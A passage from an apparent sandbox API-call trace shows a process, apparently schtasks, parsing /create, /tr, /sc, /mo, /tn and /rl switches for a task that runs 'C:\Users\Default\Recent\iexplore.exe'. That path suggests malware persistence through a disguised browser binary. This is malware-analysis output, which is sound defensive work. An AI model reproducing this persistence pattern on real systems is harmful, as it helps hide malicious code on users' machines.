lpSrch="|tr|") returned 0x0 [0153.396] SetLastError (dwErrCode=0x490) [0153.396] lstrlenW (lpString="rp") returned 2 [0153.396] lstrlenW (lpString="rp") returned 2 [0153.396] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.396] lstrlenW (lpString="tr") returned 2 [0153.396] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.396] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0153.396] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.396] lstrlenW (lpString="|rp|") returned 4 [0153.396] lstrlenW (lpString="|tr|") returned 4 [0153.396] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0153.397] SetLastError (dwErrCode=0x490) [0153.397] lstrlenW (lpString="sc") returned 2 [0153.397] lstrlenW (lpString="sc") returned 2 [0153.397] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.397] lstrlenW (lpString="tr") returned 2 [0153.397] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.397] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.397] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.397] lstrlenW (lpString="|sc|") returned 4 [0153.397] lstrlenW (lpString="|tr|") returned 4 [0153.397] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0153.397] SetLastError (dwErrCode=0x490) [0153.397] lstrlenW (lpString="mo") returned 2 [0153.397] lstrlenW (lpString="mo") returned 2 [0153.397] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.397] lstrlenW (lpString="tr") returned 2 [0153.397] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.398] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.398] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.398] lstrlenW (lpString="|mo|") returned 4 [0153.398] lstrlenW (lpString="|tr|") returned 4 [0153.398] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0153.398] SetLastError (dwErrCode=0x490) [0153.398] lstrlenW (lpString="d") returned 1 [0153.398] lstrlenW (lpString="d") returned 1 [0153.398] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.398] lstrlenW (lpString="tr") returned 2 [0153.398] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.398] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|d|") returned 3 [0153.398] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.398] lstrlenW (lpString="|d|") returned 3 [0153.398] lstrlenW (lpString="|tr|") returned 4 [0153.398] SetLastError (dwErrCode=0x490) [0153.398] lstrlenW (lpString="m") returned 1 [0153.398] lstrlenW (lpString="m") returned 1 [0153.398] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.399] lstrlenW (lpString="tr") returned 2 [0153.399] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.399] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|m|") returned 3 [0153.399] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.399] lstrlenW (lpString="|m|") returned 3 [0153.399] lstrlenW (lpString="|tr|") returned 4 [0153.399] SetLastError (dwErrCode=0x490) [0153.399] lstrlenW (lpString="i") returned 1 [0153.399] lstrlenW (lpString="i") returned 1 [0153.399] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.399] lstrlenW (lpString="tr") returned 2 [0153.399] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.399] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|i|") returned 3 [0153.399] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.399] lstrlenW (lpString="|i|") returned 3 [0153.399] lstrlenW (lpString="|tr|") returned 4 [0153.399] SetLastError (dwErrCode=0x490) [0153.400] lstrlenW (lpString="tn") returned 2 [0153.400] lstrlenW (lpString="tn") returned 2 [0153.400] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.400] lstrlenW (lpString="tr") returned 2 [0153.400] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.400] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.400] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.400] lstrlenW (lpString="|tn|") returned 4 [0153.400] lstrlenW (lpString="|tr|") returned 4 [0153.400] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0153.400] SetLastError (dwErrCode=0x490) [0153.400] lstrlenW (lpString="tr") returned 2 [0153.400] lstrlenW (lpString="tr") returned 2 [0153.400] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.400] lstrlenW (lpString="tr") returned 2 [0153.400] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.401] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.401] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.401] lstrlenW (lpString="|tr|") returned 4 [0153.401] lstrlenW (lpString="|tr|") returned 4 [0153.401] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0153.401] SetLastError (dwErrCode=0x0) [0153.401] SetLastError (dwErrCode=0x0) [0153.401] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.401] lstrlenW (lpString="-/") returned 2 [0153.401] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0153.401] SetLastError (dwErrCode=0x490) [0153.401] SetLastError (dwErrCode=0x490) [0153.401] SetLastError (dwErrCode=0x0) [0153.401] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.401] StrChrIW (lpStart="'C:\\Users\\Default\\Recent\\iexplore.exe'", wMatch=0x3a) returned=":\\Users\\Default\\Recent\\iexplore.exe'" [0153.401] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.401] _memicmp (_Buf1=0x2ad500, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.401] _memicmp (_Buf1=0x2ad540, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.402] SetLastError (dwErrCode=0x7a) [0153.402] SetLastError (dwErrCode=0x0) [0153.402] SetLastError (dwErrCode=0x0) [0153.402] lstrlenW (lpString="'C") returned 2 [0153.402] lstrlenW (lpString="-/") returned 2 [0153.402] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0153.402] SetLastError (dwErrCode=0x490) [0153.402] SetLastError (dwErrCode=0x490) [0153.402] SetLastError (dwErrCode=0x0) [0153.402] _memicmp (_Buf1=0x2ad4c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.402] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.402] GetProcessHeap () returned 0x290000 [0153.402] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad580) returned 1 [0153.402] GetProcessHeap () returned 0x290000 [0153.402] RtlReAllocateHeap (Heap=0x290000, Flags=0xc, Ptr=0x2ad580, Size=0x4e) returned 0x2adc90 [0153.402] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.402] lstrlenW (lpString=" \x09") returned 2 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0153.403] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.404] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0153.405] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0153.405] GetLastError () returned 0x0 [0153.405] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.405] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.405] SetLastError (dwErrCode=0x0) [0153.405] SetLastError (dwErrCode=0x0) [0153.405] lstrlenW (lpString="/rl") returned 3 [0153.405] lstrlenW (lpString="-/") returned 2 [0153.405] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.405] lstrlenW (lpString="create") returned 6 [0153.406] lstrlenW (lpString="create") returned 6 [0153.406] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.406] lstrlenW (lpString="rl") returned 2 [0153.406] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.406] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0153.406] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.406] lstrlenW (lpString="|create|") returned 8 [0153.406] lstrlenW (lpString="|rl|") returned 4 [0153.406] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0153.406] SetLastError (dwErrCode=0x490) [0153.406] lstrlenW (lpString="?") returned 1 [0153.406] lstrlenW (lpString="?") returned 1 [0153.406] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.406] lstrlenW (lpString="rl") returned 2 [0153.406] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.406] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0153.406] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.407] lstrlenW (lpString="|?|") returned 3 [0153.407] lstrlenW (lpString="|rl|") returned 4 [0153.407] SetLastError (dwErrCode=0x490) [0153.407] lstrlenW (lpString="s") returned 1 [0153.407] lstrlenW (lpString="s") returned 1 [0153.407] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.407] lstrlenW (lpString="rl") returned 2 [0153.407] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.407] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0153.407] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.407] lstrlenW (lpString="|s|") returned 3 [0153.407] lstrlenW (lpString="|rl|") returned 4 [0153.407] SetLastError (dwErrCode=0x490) [0153.407] lstrlenW (lpString="u") returned 1 [0153.407] lstrlenW (lpString="u") returned 1 [0153.407] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.407] lstrlenW (lpString="rl") returned 2 [0153.407] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.407] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0153.407] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.407] lstrlenW (lpString="|u|") returned 3 [0153.407] lstrlenW (lpString="|rl|") returned 4 [0153.407] SetLastError (dwErrCode=0x490) [0153.408] lstrlenW (lpString="p") returned 1 [0153.408] lstrlenW (lpString="p") returned 1 [0153.408] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.408] lstrlenW (lpString="rl") returned 2 [0153.408] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.408] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0153.408] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.408] lstrlenW (lpString="|p|") returned 3 [0153.408] lstrlenW (lpString="|rl|") returned 4 [0153.408] SetLastError (dwErrCode=0x490) [0153.408] lstrlenW (lpString="ru") returned 2 [0153.408] lstrlenW (lpString="ru") returned 2 [0153.408] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.408] lstrlenW (lpString="rl") returned 2 [0153.408] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.408] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0153.408] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.408] lstrlenW (lpString="|ru|") returned 4 [0153.408] lstrlenW (lpString="|rl|") returned 4 [0153.408] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0153.408] SetLastError (dwErrCode=0x490) [0153.408] lstrlenW (lpString="rp") returned 2 [0153.408] lstrlenW (lpString="rp") returned 2 [0153.408] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.408] lstrlenW (lpString="rl") returned 2 [0153.408] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.409] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0153.409] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.409] lstrlenW (lpString="|rp|") returned 4 [0153.409] lstrlenW (lpString="|rl|") returned 4 [0153.409] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0153.409] SetLastError (dwErrCode=0x490) [0153.409] lstrlenW (lpString="sc") returned 2 [0153.409] lstrlenW (lpString="sc") returned 2 [0153.409] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.409] lstrlenW (lpString="rl") returned 2 [0153.409] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.409] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.409] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.409] lstrlenW (lpString="|sc|") returned 4 [0153.409] lstrlenW (lpString="|rl|") returned 4 [0153.409] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0153.409] SetLastError (dwErrCode=0x490) [0153.409] lstrlenW (lpString="mo") returned 2 [0153.409] lstrlenW (lpString="mo") returned 2 [0153.409] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.409] lstrlenW (lpString="rl") returned 2 [0153.409] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.409] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.409] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.409] lstrlenW (lpString="|mo|") returned 4 [0153.410] lstrlenW (lpString="|rl|") returned 4 [0153.410] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0153.410] SetLastError (dwErrCode=0x490) [0153.410] lstrlenW (lpString="d") returned 1 [0153.410] lstrlenW (lpString="d") returned 1 [0153.410] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.410] lstrlenW (lpString="rl") returned 2 [0153.410] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.410] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|d|") returned 3 [0153.410] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.410] lstrlenW (lpString="|d|") returned 3 [0153.410] lstrlenW (lpString="|rl|") returned 4 [0153.410] SetLastError (dwErrCode=0x490) [0153.410] lstrlenW (lpString="m") returned 1 [0153.410] lstrlenW (lpString="m") returned 1 [0153.410] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.410] lstrlenW (lpString="rl") returned 2 [0153.410] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.410] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|m|") returned 3 [0153.410] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.410] lstrlenW (lpString="|m|") returned 3 [0153.410] lstrlenW (lpString="|rl|") returned 4 [0153.410] SetLastError (dwErrCode=0x490) [0153.410] lstrlenW (lpString="i") returned 1 [0153.410] lstrlenW (lpString="i") returned 1 [0153.410] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.410] lstrlenW (lpString="rl") returned 2 [0153.411] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.411] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|i|") returned 3 [0153.411] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.411] lstrlenW (lpString="|i|") returned 3 [0153.411] lstrlenW (lpString="|rl|") returned 4 [0153.411] SetLastError (dwErrCode=0x490) [0153.411] lstrlenW (lpString="tn") returned 2 [0153.411] lstrlenW (lpString="tn") returned 2 [0153.411] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.411] lstrlenW (lpString="rl") returned 2 [0153.411] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.411] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.411] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.411] lstrlenW (lpString="|tn|") returned 4 [0153.411] lstrlenW (lpString="|rl|") returned 4 [0153.411] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0153.411] SetLastError (dwErrCode=0x490) [0153.411] lstrlenW (lpString="tr") returned 2 [0153.411] lstrlenW (lpString="tr") returned 2 [0153.411] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.411] lstrlenW (lpString="rl") returned 2 [0153.411] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.411] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.412] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.412] lstrlenW (lpString="|tr|") returned 4 [0153.412] lstrlenW (lpString="|rl|") returned 4 [0153.412] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0153.412] SetLastError (dwErrCode=0x490) [0153.412] lstrlenW (lpString="st") returned 2 [0153.412] lstrlenW (lpString="st") returned 2 [0153.412] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.412] lstrlenW (lpString="rl") returned 2 [0153.412] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.412] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|st|") returned 4 [0153.412] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.412] lstrlenW (lpString="|st|") returned 4 [0153.412] lstrlenW (lpString="|rl|") returned 4 [0153.412] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0153.412] SetLastError (dwErrCode=0x490) [0153.412] lstrlenW (lpString="sd") returned 2 [0153.412] lstrlenW (lpString="sd") returned 2 [0153.412] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.412] lstrlenW (lpString="rl") returned 2 [0153.412] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.412] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sd|") returned 4 [0153.412] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.412] lstrlenW (lpString="|sd|") returned 4 [0153.412] lstrlenW (lpString="|rl|") returned 4 [0153.412] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0153.412] SetLastError (dwErrCode=0x490) [0153.413] lstrlenW (lpString="ed") returned 2 [0153.413] lstrlenW (lpString="ed") returned 2 [0153.413] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.413] lstrlenW (lpString="rl") returned 2 [0153.413] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.413] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ed|") returned 4 [0153.413] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.413] lstrlenW (lpString="|ed|") returned 4 [0153.413] lstrlenW (lpString="|rl|") returned 4 [0153.413] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0153.413] SetLastError (dwErrCode=0x490) [0153.413] lstrlenW (lpString="it") returned 2 [0153.413] lstrlenW (lpString="it") returned 2 [0153.413] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.413] lstrlenW (lpString="rl") returned 2 [0153.413] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.413] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|it|") returned 4 [0153.413] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.413] lstrlenW (lpString="|it|") returned 4 [0153.413] lstrlenW (lpString="|rl|") returned 4 [0153.413] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0153.413] SetLastError (dwErrCode=0x490) [0153.413] lstrlenW (lpString="et") returned 2 [0153.413] lstrlenW (lpString="et") returned 2 [0153.413] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.413] lstrlenW (lpString="rl") returned 2 [0153.413] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.413] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|et|") returned 4 [0153.413] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.414] lstrlenW (lpString="|et|") returned 4 [0153.414] lstrlenW (lpString="|rl|") returned 4 [0153.414] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0153.414] SetLastError (dwErrCode=0x490) [0153.414] lstrlenW (lpString="k") returned 1 [0153.414] lstrlenW (lpString="k") returned 1 [0153.414] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.414] 